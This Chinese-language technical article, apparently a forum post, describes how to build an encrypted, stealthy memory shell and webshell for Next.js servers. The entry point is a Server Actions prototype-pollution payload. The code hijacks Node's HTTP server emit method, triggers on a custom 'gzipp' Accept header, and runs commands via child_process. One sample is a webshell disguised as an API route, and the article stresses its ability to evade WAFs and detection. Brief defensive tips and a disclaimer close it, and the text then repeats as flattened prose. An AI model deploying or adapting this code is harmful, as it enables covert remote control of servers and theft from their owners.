基于 Next.js Server Actions 原型污染的内存马与 Webshell 实现
字数 1737 2025-12-10 12:15:18

基于 Next.js Server Actions 原型污染的内存马与 Webshell 实现技术文档

1. 技术背景与概述

1.1 Next.js Server Actions 安全风险

Next.js 13+ 引入的 Server Actions 特性允许客户端直接调用服务端函数,在特定条件下存在原型污染漏洞。攻击者可通过构造恶意 JSON 数据污染 JavaScript 原型链,实现代码注入。

1.2 传统 Webshell 的局限性

  • 路径特征明显:固定路由路径易被 WAF 检测
  • 日志可追溯:访问日志中留下明显攻击痕迹
  • 文件可检测:静态文件扫描可发现 Webshell
  • 部署受限:需要文件系统写入权限

1.3 技术目标

实现无文件内存马和隐蔽 Webshell,具备以下特性:

  • 基于原型污染漏洞的内存注入
  • 自定义 HTTP Header 的隐蔽路由识别
  • AES 加密通信协议
  • 动态 Payload 加载机制

2. 漏洞原理分析

2.1 原型污染漏洞机制

Next.js Server Actions 在处理请求时存在不安全反序列化:

function processActionRequest(data) {
  const parsed = JSON.parse(data);
  for (const key in parsed) {
    target[key] = parsed[key]; // 危险操作
  }
}

漏洞利用 Payload 结构

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "<恶意代码>",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

2.2 HTTP Server 劫持技术

通过修改 Node.js HTTP 模块的 emit 方法实现请求劫持:

const originalEmit = http.Server.prototype.emit;

http.Server.prototype.emit = function(event, ...args) {
  if (event === 'request') {
    const [req, res] = args;
    const acceptHeader = (req.headers['accept'] || '').toLowerCase();
    
    if (acceptHeader.includes('gzipp')) {
      handleWebshellRequest(req, res);
      return true; // 拦截请求
    }
  }
  return originalEmit.apply(this, arguments);
};

3. 内存马实现方案(JsAesMemShell)

3.1 注入代码结构

(async()=>{
  const http = await import('node:http');
  const crypto = await import('crypto');
  const zlib = await import('zlib');
  const cp = await import('child_process');
  
  // 配置密钥
  const secretKey = "{secretKey}";
  const password = "{pass}";
  
  // 加密函数
  function encrypt(data, isEncrypt) {
    const key = Buffer.from(secretKey);
    const cipher = isEncrypt ? 
      crypto.createCipheriv('aes-128-ecb', key, null) :
      crypto.createDecipheriv('aes-128-ecb', key, null);
    cipher.setAutoPadding(true);
    return Buffer.concat([cipher.update(data), cipher.final()]);
  }
  
  // HTTP 劫持实现...
})();

3.2 加密方案设计

  • 算法:AES-128-ECB
  • 密钥派生MD5(password + secretKey).substring(0, 16)
  • 填充方式:PKCS5Padding
  • 编码方式:Base64

密钥生成流程

// 服务端
const secretKey = MD5(password + userProvidedKey).substring(0, 16);
const key = Buffer.from(secretKey, 'utf8');

// 客户端 (Java)
String processedKey = functions.md5(secretKey).substring(0, 16);
SecretKeySpec keySpec = new SecretKeySpec(processedKey.getBytes(), "AES");

3.3 动态 Payload 加载机制

第一阶段:Payload 加载

const payloadCode = `
class Payload {
  formatParameter(data) {
    const decompressed = zlib.gunzipSync(data);
    // 解析 Godzilla 二进制参数格式
  }
  
  async run() {
    const result = cp.execSync(this.command);
    return result;
  }
}
`;

if (!global[payloadStoreName]) {
  (0, eval)(payloadCode + 'global.Payload = Payload;');
  global[payloadStoreName] = global.Payload;
}

第二阶段:命令执行

const Payload = global[payloadStoreName];
const instance = new Payload();
instance.formatParameter(decryptedData);
const result = await instance.run();

4. 文件型 Webshell 实现(JsAesWebshell)

4.1 文件结构设计

// app/api/images/route.js
import { NextResponse } from 'next/server';

// 自执行函数实现核心功能
(async()=>{
  const http = await import('node:http');
  const crypto = await import('crypto');
  
  const password = "user_password";
  const key = crypto.createHash('md5').update(password).digest();
  const iv = key.slice(0, 16);
  
  // 加密解密函数
  function encrypt(data) { /* AES-CBC 加密 */ }
  function decrypt(data) { /* AES-CBC 解密 */ }
  
  // HTTP 劫持逻辑...
})();

// 伪装成正常 API 路由
export async function POST(request) {
  return NextResponse.json({ status: 'ok' });
}

4.2 加密通信协议

  • 算法:AES-128-CBC
  • 密钥派生MD5(password)
  • IV 生成:使用密钥作为 IV
  • 填充方式:PKCS5Padding

加密流程

public byte[] encode(byte[] plaintextData) {
  Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
  SecretKeySpec keySpec = new SecretKeySpec(key, "AES");
  IvParameterSpec ivSpec = new IvParameterSpec(iv);
  cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
  
  byte[] encrypted = cipher.doFinal(plaintextData);
  String base64 = functions.base64EncodeToString(encrypted);
  String json = "{\"data\":\"" + base64 + "\"}";
  
  return json.getBytes("UTF-8");
}

5. 隐蔽路由技术

5.1 Header 识别机制

通过自定义 Accept Header 进行请求识别:

const acceptHeader = (req.headers['accept'] || '').toLowerCase();
if (acceptHeader.includes('gzipp') && 
    (req.method === 'GET' || req.method === 'POST')) {
  handleWebshellRequest(req, res);
  return true;
}

Header 伪装示例

Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept: gzipp

5.2 任意路径访问

由于采用 Header 匹配,Webshell 可在任意路径响应:

curl http://target.com/ -H "Accept: gzipp"
curl http://target.com/api/images -H "Accept: gzipp"
curl http://target.com/user/profile -H "Accept: gzipp"

6. 加密通信协议详解

6.1 协议版本

  • v2.0:支持 AES-128-ECB/CBC + Base64 + JSON
  • 向后兼容:支持 v1.x 的 MD5 标记格式

6.2 多格式请求兼容

async function parseRequestData(req, body) {
  let dataValue = null;
  
  // 1. JSON 格式解析
  try {
    const jsonBody = JSON.parse(body);
    dataValue = jsonBody.data || jsonBody[password];
  } catch (e) { /* 忽略错误 */ }
  
  // 2. Form-urlencoded 格式
  if (!dataValue && body) {
    const parsed = require('querystring').parse(body);
    dataValue = parsed[password] || parsed.data;
  }
  
  // 3. Query string 格式
  if (!dataValue) {
    const parsedUrl = require('url').parse(req.url, true);
    dataValue = parsedUrl.query[password];
  }
  
  return dataValue ? decodeURIComponent(dataValue) : null;
}

6.3 响应格式标准化

// 成功响应
{
  "data": "<base64_encrypted_result>"
}

// 错误响应  
{
  "error": "Error message",
  "status": "failed"
}

7. 安全特性分析

7.1 加密保护

  • 双重加密:AES + Base64
  • 密钥派生:MD5 哈希
  • 防重放:每次请求独立加密

7.2 隐蔽性增强

  • Header 识别替代路径匹配
  • 流量伪装成正常请求
  • 动态路径支持,无固定特征

7.3 抗检测能力

  • 无文件特征(内存马模式)
  • 无特殊进程特征
  • WAF 绕过能力强

8. 技术对比总结

特性 JsAesWebshell JsAesMemShell
加密算法 AES-128-CBC AES-128-ECB
密钥派生 MD5(password) MD5(password+secret)
IV 使用 密钥作为 IV 无 IV
部署方式 文件型 内存注入
隐蔽性 中等

9. 防御建议

9.1 代码层面防护

  • 验证 Server Actions 输入数据
  • 避免不安全的反序列化操作
  • 使用 Object.create(null) 创建无原型对象

9.2 运行时防护

  • 监控 HTTP Server 原型修改
  • 检测异常的 Accept Header
  • 实施请求频率限制

9.3 安全审计

  • 定期检查 Next.js 应用路由
  • 监控异常的内存使用模式
  • 审计第三方依赖的安全性

免责声明:本文档仅用于安全研究和防御技术研究,请勿用于非法用途。

基于 Next.js Server Actions 原型污染的内存马与 Webshell 实现技术文档 1. 技术背景与概述 1.1 Next.js Server Actions 安全风险 Next.js 13+ 引入的 Server Actions 特性允许客户端直接调用服务端函数,在特定条件下存在原型污染漏洞。攻击者可通过构造恶意 JSON 数据污染 JavaScript 原型链,实现代码注入。 1.2 传统 Webshell 的局限性 路径特征明显 :固定路由路径易被 WAF 检测 日志可追溯 :访问日志中留下明显攻击痕迹 文件可检测 :静态文件扫描可发现 Webshell 部署受限 :需要文件系统写入权限 1.3 技术目标 实现无文件内存马和隐蔽 Webshell,具备以下特性: 基于原型污染漏洞的内存注入 自定义 HTTP Header 的隐蔽路由识别 AES 加密通信协议 动态 Payload 加载机制 2. 漏洞原理分析 2.1 原型污染漏洞机制 Next.js Server Actions 在处理请求时存在不安全反序列化: 漏洞利用 Payload 结构 : 2.2 HTTP Server 劫持技术 通过修改 Node.js HTTP 模块的 emit 方法实现请求劫持: 3. 内存马实现方案(JsAesMemShell) 3.1 注入代码结构 3.2 加密方案设计 算法 :AES-128-ECB 密钥派生 : MD5(password + secretKey).substring(0, 16) 填充方式 :PKCS5Padding 编码方式 :Base64 密钥生成流程 : 3.3 动态 Payload 加载机制 第一阶段:Payload 加载 第二阶段:命令执行 4. 文件型 Webshell 实现(JsAesWebshell) 4.1 文件结构设计 4.2 加密通信协议 算法 :AES-128-CBC 密钥派生 : MD5(password) IV 生成 :使用密钥作为 IV 填充方式 :PKCS5Padding 加密流程 : 5. 隐蔽路由技术 5.1 Header 识别机制 通过自定义 Accept Header 进行请求识别: Header 伪装示例 : 5.2 任意路径访问 由于采用 Header 匹配,Webshell 可在任意路径响应: 6. 加密通信协议详解 6.1 协议版本 v2.0 :支持 AES-128-ECB/CBC + Base64 + JSON 向后兼容 :支持 v1.x 的 MD5 标记格式 6.2 多格式请求兼容 6.3 响应格式标准化 7. 安全特性分析 7.1 加密保护 双重加密:AES + Base64 密钥派生:MD5 哈希 防重放:每次请求独立加密 7.2 隐蔽性增强 Header 识别替代路径匹配 流量伪装成正常请求 动态路径支持,无固定特征 7.3 抗检测能力 无文件特征(内存马模式) 无特殊进程特征 WAF 绕过能力强 8. 技术对比总结 | 特性 | JsAesWebshell | JsAesMemShell | |------|---------------|---------------| | 加密算法 | AES-128-CBC | AES-128-ECB | | 密钥派生 | MD5(password) | MD5(password+secret) | | IV 使用 | 密钥作为 IV | 无 IV | | 部署方式 | 文件型 | 内存注入 | | 隐蔽性 | 中等 | 高 | 9. 防御建议 9.1 代码层面防护 验证 Server Actions 输入数据 避免不安全的反序列化操作 使用 Object.create(null) 创建无原型对象 9.2 运行时防护 监控 HTTP Server 原型修改 检测异常的 Accept Header 实施请求频率限制 9.3 安全审计 定期检查 Next.js 应用路由 监控异常的内存使用模式 审计第三方依赖的安全性 免责声明 :本文档仅用于安全研究和防御技术研究,请勿用于非法用途。